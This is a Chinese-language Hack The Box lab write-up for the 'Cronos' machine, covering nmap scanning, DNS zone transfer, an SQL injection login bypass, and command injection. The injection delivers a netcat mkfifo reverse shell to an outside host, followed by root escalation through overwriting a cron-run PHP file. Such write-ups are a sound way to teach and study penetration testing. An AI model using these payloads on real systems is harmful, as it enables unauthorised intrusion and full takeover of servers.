【Hack The Box】linux练习-- Cronos

HTB 学习笔记

【Hack The Box】linux练习-- Cronos

---

🔥系列专栏：Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间：🌴2022年11月9日🌴
🍭作者水平很有限，如果发现错误，还望告知，感谢！

信息收集

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18b973826f26c7788f1b3988d802cee8 (RSA)
|   256 1ae606a6050bbb4192b028bf7fe5963b (ECDSA)
|_  256 1a0ee7ba00cc020104cda3a93f5e2220 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

dns枚举

dns枚举方法主要有以下几点

dnsrecon -r 10.10.10.0/24 -n 10.10.10.13

得到第一个解析域名
添加入hosts

两种任选一个
host -l -a cronos.htb 10.129.227.211 
dig axfr cronos.htb @10.129.227.211

得到更多信息
继续加入hosts

web

三个域名都看看，只有admin开头的有用
弱口令无效
尝试sql

admin' or '1'='1 # 

发现可以
带一个引号可以执行命令

找一个反弹shell的命令，用啥都行

;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.63 8080 >/tmp/f
python -c 'import pty; pty.spawn("/bin/bash")'
然后拿一个伪shell

接着穿一个linpeas.sh
发现飘橘的计划任务

• • • • •   root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
          

la -la查看一下我们能不能写
把原来的文件改个名，传个php脚本改成计划任务的名字即可
拿到root